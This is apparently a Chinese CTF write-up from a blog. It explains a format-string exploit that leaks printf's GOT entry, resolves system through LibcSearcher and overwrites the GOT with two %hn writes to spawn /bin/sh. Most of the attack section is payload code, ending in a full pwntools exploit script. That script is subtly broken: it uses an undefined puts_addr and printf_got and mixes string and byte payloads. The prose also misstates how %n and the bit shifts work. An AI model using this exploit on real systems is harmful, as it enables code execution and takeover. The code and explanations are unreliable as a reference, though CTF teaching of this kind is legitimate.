格式化字符串之在栈上修改got表,执行system(“/bin/sh“)

文章介绍了如何利用格式化字符串漏洞修改全局偏移量表(GOT),特别是针对一个没有system函数和/bin/sh的环境。通过pwntools的fmtstr_payload或者手动方法,首先泄露printf的地址,然后找到system的地址,分两次用%hn修改GOT,最终达到执行自定义命令获取shell的目的。
摘要由CSDN通过智能技术生成

题目自取:

链接:https://pan.baidu.com/s/1sZyC-d47cnrjQ0rmRNLbSg?pwd=iung 
提取码:iung

这是一题改got表的格式化字符串的例题
这里介绍下pwntools里的一个脚本

fmtstr_payload:
举个例子, payload = fmtstr_payload(7 , {printf_got : system_addr}) 其中,7 是格式化字符串中的第一个 %n 参数的位置;printf_gotsystem_addr 是两个地址,分别表示 printf 函数的全局偏移量表 (GOT) 地址和 system 函数地址。

writes 字典表示要写入的地址和数值对。在这个例子中,载荷将写入 printf_got 地址,并将其值更改为 system_addr。这将导致程序在下次调用 printf 时实际上调用 system

最后,载荷将被发送到目标主机,并用于攻击格式化字符串漏洞。如果执行成功,则程序将在调用 printf 函数时调用 system 函数,进而执行攻击者指定的命令。

checksec一下

 

非非非非常明显的格式化字符串漏洞,在IDA里看了,没有system函数,也无/bin/sh,因此我们自然想到改got 。

改got表可以利用pwntools的工具fmtstr_payload,但是这里我们会用常规的方法进行演示,讲清楚原理。

一般32位的要利用两次%hn来修改对应的地址(我也不知道为啥),用了%n就不工作了,奇奇怪怪。

我们gdb一下看看参数具体写入的位置,结果发现一个很坑的东西,也就是在第9个参数的位置,仅仅写入了3个'a',也就是说 ,第一个a被写在了第8个参数,这一点我们要非常小心。

讲一下思路:

大致思路就是去泄露printf的地址,然后利用libcsearcher去得到system的地址,然后把printf的got表的地址修改为system的地址,另外由于参数是由我们自行输入,因此参数可控,我们可以往参数写入/bin/sh.从而拿到shell

 那么如何去拿到libc的基地址呢?我们可以泄露出printf的真实地址。这里讲一下%p和%s的一个区别,简单来说,%p是将对应地址存的东西打印出来,而%n是将对应的地址作为指针索引,得到对应的内容。那么如果我们往参数写入了printf的got表的地址,我们如何能得到got表指向的内容呢,毫无疑问,我们将利用的是%s,去解引用got(我的理解是类似于指针解引用,不知对不对。)这样我们就可以获得printf的真实地址了。这里给一个例子

payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))

这样我们就获得到了printf的真实地址,再利用libcsearcher,我们就可以拿到system的真实地址了

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')

拿到system的地址后还没结束,记得我前面提到的,got表要分两次%hn修改,别问为什么,问就是不知道为啥 
所以我们需要把system的地址分成高八位和低八位

high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff

这里的右移16位就是向右移动4个字节,获得到high_sys的高4位地址

接下来就是改got啦,就是把got拉到栈上"公开处刑" 

payload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 +=  "a" * 6 
payload2 += p32(printf_got) + p32(printf_got + 2)

注意!!!!!
之前我百思不得奇解,究竟为什么low_sys-10,这里要说明的是,例如printf("aaaa%100c%n",&a)
这个代码中,a的值是被修改为了104,因为在%100c之前,已经又有输出'aaaa'了,而%n写入的数值就是前面输出多少个字符,就往里写入多少的数值,因此这-10是因为

"Repeater:”这里有 9个字符,再加上栈平衡的一个'a',因此共10个。

完整的exp如下:

from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./buu17')
io=process("./buu17")
from LibcSearcher import *
io.recv()
payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))
io.recv()
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
payload = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload +=  "a" * 6 
payload+= p32(printf_got) + p32(printf_got + 2)
io.sendafter("Please tell me:",payload) 


payload = ';/bin/sh\x00'
io.sendafter("Please tell me:",payload)

io.interactive()

这里写入参数/bin/sh前加一个分号的原因是 ‘ ;’ 可以让system分别执行两条指令,这样就避开了前面字符的干扰("Repeater:"的干扰)

于是这一题就圆满结束啦! 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值